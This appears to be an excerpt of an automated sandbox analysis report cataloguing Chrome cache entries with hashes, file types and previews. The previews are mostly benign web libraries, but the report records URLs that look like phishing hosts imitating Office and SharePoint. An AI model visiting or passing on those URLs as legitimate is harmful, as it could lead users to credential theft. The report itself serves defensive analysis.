MD5:	633E70F51B5C0319AF3ACF16EC1AE7B6
SHA1:	D28238721914C98998ACC0485CCEBF230F01A520
SHA-256:	FB076F7948CA70EB1F51334FE4C473C40BBE3BCEB105981C482BB8634FF98081
SHA-512:	1509681E13367F0264CC341C1752B9EF7FFE0714098615282DB2B3688C24AF50D1052421DD606FCFCF942C0BE2D59B7694FA59150923F427FCD807530C56998A
Malicious:	false
Reputation:	low
Preview:	.//// Wrapper class for client logger for below purposes..//// 1. Abstracting CST framework code from manual trace log APIs. ..//// 2. Constrolling instantiation of CST framework code in clientLogger.js based on whether telemetry is enabled..class ClientLogWrapper {...../// Constructor which also creates an instance of actual logger if telemetry is enabled...constructor() {....try {.....if (Helper.isTelemetryEnabled()) {......ClientLogger.getLogger();.....}....}....catch (exception) {.....console.warn(exception);....}...}...../// Gets the client log wrapper. Creates new instance if not already created...static getLogger() {....if (!window.clientLogWrapper) {.....window.clientLogWrapper = new ClientLogWrapper();....}......return window.clientLogWrapper;...}...../// Trace info log.../// For component, subComponent, action, tag, it is recommended to use standard short and crisp one worder string..../// Examples:.../// for component: entity_grid, entity_form etc.../// For SubComponent: f

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	332
Entropy (8bit):	4.425715633236933
Encrypted:	false
SSDEEP:	6:DsRaHauFrsQBhH9Uf6GQxmdMRGL3jfmm/auFrsQBhH9Uf6GQxm6XTfWIAn:DsRi5xKf6Jxm+RGnfmmT5xKf6Jxm6XTg
MD5:	7CB4A6366251589A2F7BFA12D1CC1CB4
SHA1:	A94C94B1AF63338F70312C114C40182C95EF88DB
SHA-256:	C2D957ED044439C57F5589353C379AD5184403E9DCB5C31D23FF1E2ED947332C
SHA-512:	3E8E63BFDBD1A87E8DF5F1220D2D605934A812F123F1D52EE5B8D6C145E49C2F7D3116BF9D171B96BA8B0FDA616B5D0C3DAEDD7F9950C8EF688BC928D5AC6E96
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/manifest-0.2.7.json
Preview:	{. "usePagesStore": {. "library": "mf_shared",. "remoteEntry": "/mf_shared/remoteEntry.31441adcab.js",. "control": "./usePagesStore". },. "FederatedControl": {. "library": "mf_shared",. "remoteEntry": "/mf_shared/remoteEntry.31441adcab.js",. "control": "./FederatedControl". }.}

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8056)
Category:	downloaded
Size (bytes):	8107
Entropy (8bit):	5.397793507774724
Encrypted:	false
SSDEEP:	192:4/hnsGbHgerW0JiVdQgmAB7B7fkM9rHjAZt:4/hnsGbHgiW0jgmy7t9ZcP
MD5:	86D02538FCA59B05B1C0479F013993FC
SHA1:	484718F407A44A2852A22A242C2736CC85E3E59C
SHA-256:	5C01B319D8FCFD764F5154FE0A39F8D21B4D664A3E503569A43896FB07DCD86C
SHA-512:	5C0B0BCE25ACBBBF0A6B6EF06F2EDF5A8A539D6FA3B199631A9C5287A1B51A25061C9FCFBB7FA6D81318123DC0900BB633337BA657EC9AB48C2F1B6C8056532B
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/remoteEntry.31441adcab.js
Preview:	var mf_shared;(()=>{"use strict";var e,r,t,a,n,o,i,f,l,u,s,d,c,h,p,m,v,g,b,y={9449:(e,r,t)=>{var a={"./usePagesStore":()=>t.e(753).then((()=>()=>t(6753))),"./FederatedControl":()=>Promise.all([t.e(370),t.e(5),t.e(819)]).then((()=>()=>t(9334)))},n=(e,r)=>(t.R=r,r=t.o(a,e)?a[e]():Promise.resolve().then((()=>{throw new Error('Module "'+e+'" does not exist in container.')})),t.R=void 0,r),o=(e,r)=>{if(t.S){var a="default",n=t.S[a];if(n&&n!==e)throw new Error("Container initialization failed as it has already been initialized with a different share scope");return t.S[a]=e,t.I(a,r)}};t.d(r,{get:()=>n,init:()=>o})}},w={};function S(e){var r=w[e];if(void 0!==r)return r.exports;var t=w[e]={id:e,loaded:!1,exports:{}};return y[e](t,t.exports,S),t.loaded=!0,t.exports}S.m=y,S.c=w,S.n=e=>{var r=e&&e.__esModule?()=>e.default:()=>e;return S.d(r,{a:r}),r},S.d=(e,r)=>{for(var t in r)S.o(r,t)&&!S.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},S.f={},S.e=e=>Promise.all(Object.keys(S.f).reduc

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	290
Entropy (8bit):	4.285251494633037
Encrypted:	false
SSDEEP:	6:xXMEauq0TTwXLAhHzAQxmtLGvauq0TTwXLAhHzAQxmIwAn:RMiqommTxmtUqommTxmLA
MD5:	342EB5262D32E1B9DF9450C66AC54F43
SHA1:	2B26C610C6581B8F9940E25BDACA29BD8C5A01BF
SHA-256:	C5A191475EB82B4A9BED085D3EEDB34CDC14B74F7E280E926D8E350AB571BD7A
SHA-512:	91125CE65391BF6B93B2637DED1EBCDBBE2F02FCC685F590C58DC719985CC56C545C5AC8F6841D3726B2A64AD2CA93C5626531DD80005FE1AB2D09573934E144
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/data_grid/manifest-1.1.26.json
Preview:	{. "Grid": {. "library": "data_grid",. "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js",. "control": "./Grid". },. "Form": {. "library": "data_grid",. "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js",. "control": "./Form". }.}

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	32569
Entropy (8bit):	4.988135354809902
Encrypted:	false
SSDEEP:	384:KPT0egu/6okkbsEI4tiSQ8B5AF94Cus+SKjI:ARgExs
MD5:	2E04DBF13839A9B5AF664DE53071E9D6
SHA1:	0466D73F50A4F76A2746DF1C42344F88BC2978C4
SHA-256:	43B92B359F41BEA668B8A29BB995D3A0F0BA6D47AE614F5CCD5DB4CAF635A65E
SHA-512:	FDFD4D49BD23353EDF5A0CC48A3F737E7085703EAD06DECAF040E5C35E3521448CCDE50BB4237D8A496485E514037454F7E3F03944BCD170C291AAECC49E77C5
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/theme.css
Preview:	/!.. Bootstrap v3.3.6 (http://getbootstrap.com).. * Copyright 2011-2015 Twitter, Inc... * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE).. */....h1.underline,..h4.underline {.. border-bottom: 1px solid #bcbcbc;.. padding-bottom: 21px;..}....@media (max-width: 767px) {.. .. .text_center-mobile {.. text-align: center;.. }..}.......btn-lg-home {.. padding: 20px 40px;.. font-size: 15px;..}.......btn-info-home {.. color: #fff;.. border-color: #fff;.. background: transparent;..}.....btn-info-home:hover {.. color: #000;.. border-color: #000;.. background: #fff;..}.....btn-info-home:active {.. color: #000;.. border-color: #000;.. background: #fff;..}.....btn-info-home:focus {.. color: #000;.. border-color: #000;.. background: #fff;..}.......breadcrumb > li a {.. color: #302ce1;.. padding: 2px 4px;..}...breadcrumb > li a:hover {.. color: #302ce1;..}.......pagination > li > a,...pagination > li > span {.. background-color: transparent;..

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 454821
Category:	dropped
Size (bytes):	122725
Entropy (8bit):	7.997347629519925
Encrypted:	true
SSDEEP:	3072:aVYOI2atrRjlmfTIbRTQCjqYgXyIq40z3b335DfGZkbGft:JrFRxZQCqYgXytzIWGft
MD5:	9CDA699A84CA8729FAF194B8EFDDF6C0
SHA1:	804F83F5225243951178A1F785AF2B897B87ACA5
SHA-256:	A7C6A8173409765CFCAA6925CBF2CA7732ECC5B353FC8274746FA4BF4A1CABC4
SHA-512:	FA7A94976304C486A8A20C0672C8B4DEE5532099434B475B36C230498DB14DE99596B54AE95A2C9D2601EABCCDCDEE4DF5A1B21231F18E6EAD9AD453120588EB
Malicious:	false
Reputation:	low
Preview:	...........}[.8......\&.L.....M..f...@......V....../'d?...$..........mb..V..J............2..]]W.'...WG.K............`.....~\..SV..#'f^%.aT..7..a.$,.....w..q.......O.&qe......i.\.Bu.W.t..rzY.C..j.'~...p.....J.&..N.QmS..bVY.......P9..(..qR....'h$^@z....D....2.....^."..5.fx.1.C.\|...@._...b....4....k].DZ..7.J.V^..}6.?.T.o......:.p.zn.1.....i%..B.....2..x.Z.DN.(....9..................^aq...l.sK.?.1.K2.T...Q.3.T....5..Y.Y.I2....&~....p.......C..G........?c^....\.F..Q8s.@.u.b.4..K...`_.....q\|q.?]..<>l........R...........u_.....#.c..m.}{w....,.$....N....N..p..a..0y........@..1.].......m....v..E.P..h.....8..$@....]UFz.UV.mrgG.O.j.=..+{Zs..?N..jm%.h/W.c/.-.X..h........w..%.(...:.),...J.d/}+....Lk.Z..B..Q..YVO..wX....edi....e.#?.....".U.q-..J....h4..m....i}....[..+.z.E.<mC..]X.N..4.^.....*...,..j..;.).j...N..G....X7k..@L.L...h-.p..%R?.>e.......3.O_.....T$.C..~\|)...U..!.k1=...)Y! )..;.Y.#%......{.K..?0.s_oo..%.S.i...kgr..XUC ...M.yJ.......

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1280 x 535, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	109188
Entropy (8bit):	7.94544645457291
Encrypted:	false
SSDEEP:	3072:v6a1VWQVfIG3zixxFWlAe5Ia5bHfkBYoRKr34e1xQ:y0VfICzuxoZ555b/k2oRyVxQ
MD5:	38AB441ABE6C313CEA530D875763C473
SHA1:	B4DB0473B627E980F7814C3F8E2774B346B6D630
SHA-256:	77CCD0267E62F0EA960BF2A98ACDAD6111AECD5A30ADC95D0349CCF6868567FC
SHA-512:	791FF5E753EE1F3D83662F100645E0D52FD0ECF8D67E243B8913B559041C1572ABAE916E491B5248BED1B0AFB24F822FB02DC29334546418D12A8271CBA5AD14
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/IMG_0641.png
Preview:	.PNG........IHDR...............Z....pHYs..$...$..P$.... .IDATx...y.dWv.....Z.....{7..e.....0.f.,....wY...X...l.V.!;.#l9B...1...(."-..U.(qF...83.........%......YK..h......DTTfU...2o.w..s$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65445)
Category:	dropped
Size (bytes):	540048
Entropy (8bit):	5.302089229352873
Encrypted:	false
SSDEEP:	6144:k87cPYYGRPJ9As5j9534cMPRLyWPcmW23Oj+PJ0FEdtrwC:k8oYYwPIkj4fZ/4yg8tkC
MD5:	CF8E0FD9421E12CFB59F0266E0273F7D
SHA1:	62EF88B36C4A8C0475E10DFD80A4F7E588AA1F15
SHA-256:	522C2E27DB64974813E59251D101596A7692A9B964771A9CE3F1978247862258
SHA-512:	224B4823B23AC17E328194A285B48FCE4244D2649E66CCC9A7DFBC8AFD8AEA5C1E1D4A5AEFF181734DB48F5FDC407EA3ABDF66362912E6EE520CBB01C9BFDA18
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(k,e){"use strict";var t=[],n=Object.getPrototypeOf,a=t.slice,m=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},l=t.push,s=t.indexOf,i={},r=i.toString,g=i.hasOwnProperty,o=g.toString,u=o.call(Object),v={},y=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},_=function(e){return null!=e&&e===e.window},D=k.document,h={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,i){var n,s,r=(i=i\|\|D).createElement("script");if(r.text=e,t)for(n in h)(s=t[n]\|\|t.getAttribute&&t.getAttribute(n))&&r.setAttribute(n,s);i.head.appendChild(r).parentNode.removeChild(r)}funct

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39862)
Category:	downloaded
Size (bytes):	977847
Entropy (8bit):	5.3506013175263405
Encrypted:	false
SSDEEP:	6144:TAv4KHFaJIIfJz6u4CyjtjTNSuu94DGfiiVD12rWmE2TxNwMkzJKs41dC/jSaLjn:TKJH2JN4xxRSukrWWMuXfQ/Cehc
MD5:	E303D5355313048BECBD7E9429825F82
SHA1:	4ECFDB3DCA8F4AD156D0A0F12FB2ABBB1DBF6D67
SHA-256:	CED5EA5C04E6DD8807FA46B2052888EB4798E557C507FC2EC75463FEE17A9AEA
SHA-512:	2DD6CFF9B75FE25F1000CDC54F63209D11E9E90860F8CE23A492E1AFA28A7ADDB8E5262031BFF3772174F001ABFD19A5FD655AC562E4297667C8F4DA26B71AC7
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pcf-extended.bundle-e303d53553.js
Preview:	var __assign=this&&this.__assign\|\|function(){return(__assign=Object.assign\|\|function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e}).apply(this,arguments)};!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t(require("React"),require("Fela")):"function"==typeof define&&define.amd?define("ReactFela",["React","Fela"],t):"object"==typeof exports?exports.ReactFela=t(require("React"),require("Fela")):e.ReactFela=t(e.React,e.Fela)}(window,function(n,o){return function(n){var o={};function r(e){if(o[e])return o[e].exports;var t=o[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,r),t.l=!0,t.exports}return r.m=n,r.c=o,r.d=function(e,t,n){r.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65312), with CRLF line terminators
Category:	downloaded
Size (bytes):	101839
Entropy (8bit):	4.782242219512222
Encrypted:	false
SSDEEP:	1536:JBgMCMPMCMjMCM4MCMwMCM3spL709gbPMfjSFOTyPGuhprfZCS:Jw709gMGFiyPGuhpfZCS
MD5:	2CE6EFB497D50E0FBD335FF651D0E961
SHA1:	4A644F008F5535E2B15DE5A72ACD498C2D5C59C8
SHA-256:	37AD3F3C0DB53E8E6D68199A6DF828E7DB31ABE1DE721CB7475A840A6C10C215
SHA-512:	A613C8FC0805A9F35A83F422012CB9C8A7ABC334ACC6EBF1ABC4BFE8793AFC2A652BC60539DA2EC6182ED48628972B5DB16DFA3E4AF7E3A47AC9C634CF85897A
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/font-awesome.BootstrapV5.bundle-2ce6efb497.css
Preview:	/!.. Font Awesome Free 6.2.1 by @fontawesome - https://fontawesome.com.. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License).. * Copyright 2022 Fonticons, Inc... */...fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-classic,.fa-regular,.fa-sharp,.fa-solid,.fab,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-classic,.fa-regular,.fa-solid,.far,.fas{font-family:"Font Awesome 6 Free"}.fa-brands,.fab{font-family:"Font Awesome 6 Brands"}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64184)
Category:	dropped
Size (bytes):	123137
Entropy (8bit):	5.264209559921666
Encrypted:	false
SSDEEP:	1536:MvCh/HoX9IPAhokiWLtfHf18Ob3mhHayUde/wYnd8AqqJN4:Mqh/HWxJ8OLmBUI7nd8AqqA
MD5:	76D43A9405CE1A4618FF0A86BECBA682
SHA1:	556ACEAE8396531440488D48302636CB02288CBC
SHA-256:	D636393DA268FA543FC3F05A5405E53E26BF4101EA929ECCD401707B5A6C75B4
SHA-512:	2BEFC43D0F4FC8B6E055ADB458DC07782EBF55FAE1E5C69CD03A8A6744D735180D56AABAF315743979511EF911C58167DD3D1890716D9EAE316604957C7A65C5
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[867],{7121:e=>{./.object-assign.(c) Sindre Sorhus.@license MIT./.var t=Object.getOwnPropertySymbols,n=Object.prototype.hasOwnProperty,r=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,l){for(var i,a,o=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),u=1;u<arguments.length;u++){for(var c in i=Object(arguments[u]))n.call(i,c)&&(o[c]=i[c

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6203)
Category:	dropped
Size (bytes):	7604
Entropy (8bit):	5.300961596455194
Encrypted:	false
SSDEEP:	96:1PMPMUIbvkKuG8LDhJhIR0iwajDFI31Icqgm2EdAfC98nS8kC9KR34o5AaHdDOsa:f/zAPhzujEh0Afu1moVpIFi2D
MD5:	F1ACFD2815BECD7DF8E02C415B9973F7
SHA1:	3CF9577A5B4CBA69C9646967B8855F7A2F137F80
SHA-256:	99A2179570F5B6A4388F0175165C32018D8078E6F97F1591CF3426538361B4D7
SHA-512:	14814E77F88AE5AB750D2D72A447F931FCBF8DB2AA95E77D91E7473C0982BA49FF9983DF6E137A52FFEDE3C490C6BA8948D411C3FCCFF2EDE561C21533690074
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[874,493],{7121:e=>{./.object-assign.(c) Sindre Sorhus.@license MIT./.var r=Object.getOwnPropertySymbols,t=Object.prototype.hasOwnProperty,n=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var r={},t=0;t<10;t++)r["_"+String.fromCharCode(t)]=t;if("0123456789"!==Object.getOwnPropertyNames(r).map((function(e){return r[e]})).join(""))return!1;var n={};return"abcdefghijklmnopqrst".split("").forEach((function(e){n[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},n)).join("")}catch(e){return!1}}()?Object.assign:function(e,o){for(var u,c,f=function(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}(e),l=1;l<arguments.length;l++){for(var i in u=Object(arguments[l]))t.call(u,i)&&(f[i]

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.208966082694623
Encrypted:	false
SSDEEP:	3:HhCkuDjn:HUkuf
MD5:	89BE93E81169A3478F5B92F3C91AF580
SHA1:	C62E2852B394952919463742831CB4C66CCA1C8B
SHA-256:	77C5F518D3925E0083F47A20572ADB178B2204D07FAA396A2E3B0AFD803155B9
SHA-512:	0F837CB5A3E3C67CFE10B21FB4965A1B39E4C10CEA9137D03A9D5B743B6F36A02CDE5348752D59C0BF28F9CFA0163D99A7767CCE9255500E5C3E15EA1F74C173
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwkAX7lq7M8zxBIFDVNaR8USBQ2_JFKQ?alt=proto
Preview:	ChIKBw1TWkfFGgAKBw2/JFKQGgA=

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (11286)
Category:	downloaded
Size (bytes):	33941
Entropy (8bit):	5.178252635107682
Encrypted:	false
SSDEEP:	384:RFbTerR/7jzxgtftU2Ez/M5jmElifFuQrFw:RFHerp76+IZmEAfsJ
MD5:	C1CE164D1D66B68CA3D3CFA9DF716778
SHA1:	E52BB7C828B431D368EB76260C0266DD3126AD86
SHA-256:	05957E23B1D73F3A5931DFD88ADCEACB84D759A69CE080D429FFC4F95C10BA96
SHA-512:	D9864EEBED32F99D5E65F197AB0776E189B9923FCD7FDC9F60920127F48D966E46E144308B87B874D3CC5227FC90FC356AAFD54CA55066B4AE3C3A905EA42A89
Malicious:	false
Reputation:	low
URL:	https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd
Preview:	<!DOCTYPE html>.<html lang="en-US">. #region(collapsed)-->. <head>. <style>. * {. box-sizing: border-box;. margin: 0;. padding: 0;. }.. html {. line-height: 1.15;. -webkit-text-size-adjust: 100%;. color: #313131;. }.. html,. button {. font-family: system-ui, -apple-system, BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;. }.. body {. display: flex;. flex-direction: column;. min-height: 100vh;. }.. a {. transition: color 0.15s ease;. background-color: transparent;. text-decoration: none;. color: #0051c3;. }.. a:hover {.

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41492)
Category:	downloaded
Size (bytes):	150871
Entropy (8bit):	5.408911509045047
Encrypted:	false
SSDEEP:	3072:YwlL47MnAPaiA28udRCe/fX2MkdF5kpjmeL1ZVplqpU:YwlgMgaiA28uZ/P2MkdF5cL1/plqpU
MD5:	00961FDA46ADB7932E321C77108E4608
SHA1:	B23746E1E5396860C9E39F115B2EBE833DFB4335
SHA-256:	7074FCC5965D770C7A0BDF9FA8A772D8538F55C60802196898DACC42CC604F56
SHA-512:	4E3106CFFF8E5F39B95F5E22213D7A24F2565368BFDAEBC5CE591492C470EF0CAA966F8F577291FCE195332B6BEDB4C96DCF45C0B118AB1FAE6EB8558CE98F8A
Malicious:	false
Reputation:	low
URL:	https://js.hcaptcha.com/1/api.js
Preview:	/* { "version": "0", "hash": "MEYCIQCKfI2ly7Jm3XD62jSMYfVSQAHfPSaDlyODBl57VFOMGAIhAOIPjz4wzy08FaJfDRdMuPcTBybvAAdY7u3iXEqW9JUj" } /./ https://hcaptcha.com/license */.!function(){"use strict";function e(e){var t=this.constructor;return this.then((function(n){return t.resolve(e()).then((function(){return n}))}),(function(n){return t.resolve(e()).then((function(){return t.reject(n)}))}))}function t(e){return new this((function(t,n){if(!e\|\|"undefined"==typeof e.length)return n(new TypeError(typeof e+" "+e+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var r=Array.prototype.slice.call(e);if(0===r.length)return t([]);var i=r.length;function o(e,n){if(n&&("object"==typeof n\|\|"function"==typeof n)){var a=n.then;if("function"==typeof a)return void a.call(n,(function(t){o(e,t)}),(function(n){r[e]={status:"rejected",reason:n},0==--i&&t(r)}))}r[e]={status:"fulfilled",value:n},0==--i&&t(r)}for(var a=0;a<r.length;a++)o(a,r[a])}))}var n=setTimeout,r="undefined"!=typeof setImmedi

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64632), with CRLF line terminators
Category:	downloaded
Size (bytes):	116939
Entropy (8bit):	5.053899018532481
Encrypted:	false
SSDEEP:	768:XD0MazrYddpLUOGhCw+duCLKiXuIEx3z4qWbMrwBEvQhzqhoi7EgWC295FNoBC65:x+vrwBEYhzqNHeBhc
MD5:	8C396F163B2003283B54A6E105D2B395
SHA1:	CEE717CF5E3DE1C370C83C1C683F172117B2497B
SHA-256:	6571F808B2D30448550E0FBCD070074A4381E3A0F5125BA532FD71DAD5824FFB
SHA-512:	8CECE031337ACAB0D16B3A5875977B4C2B0260E40B7EF2659DB5A96BF89180101DADEEA40F56647EFCBF91514582BBC0FA73D48BCC85DF0AD4D158134C45B4BD
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.bundle-8c396f163b.css
Preview:	.prettyprint{padding:8px;background-color:#f7f7f9;border:1px solid #e1e1e8}.prettyprint[class=linenums]{-webkit-box-shadow:inset 40px 0 0 #fbfbfc,inset 41px 0 0 #ececf0;-moz-box-shadow:inset 40px 0 0 #fbfbfc,inset 41px 0 0 #ececf0;box-shadow:inset 40px 0 0 #fbfbfc,inset 41px 0 0 #ececf0}.prettyprint .com{color:#93a1a1}.prettyprint .lit{color:#195f91}.prettyprint .clo,.prettyprint .opn,.prettyprint .pun{color:#93a1a1}.prettyprint .fun{color:#dc322f}.prettyprint .atv,.prettyprint .str{color:#d14}.prettyprint .kwd,.prettyprint .tag{color:#1e347b}.prettyprint .atn,.prettyprint .dec,.prettyprint .typ,.prettyprint .var{color:teal}.prettyprint .pln{color:#48484c}ol.linenums{margin:0 0 0 33px}ol.linenums li{padding-left:12px;color:#bebec5;line-height:18px;text-shadow:0 1px 0 #fff}/!.. * Datetimepicker for Bootstrap 3.. * version : 4.17.47.. * 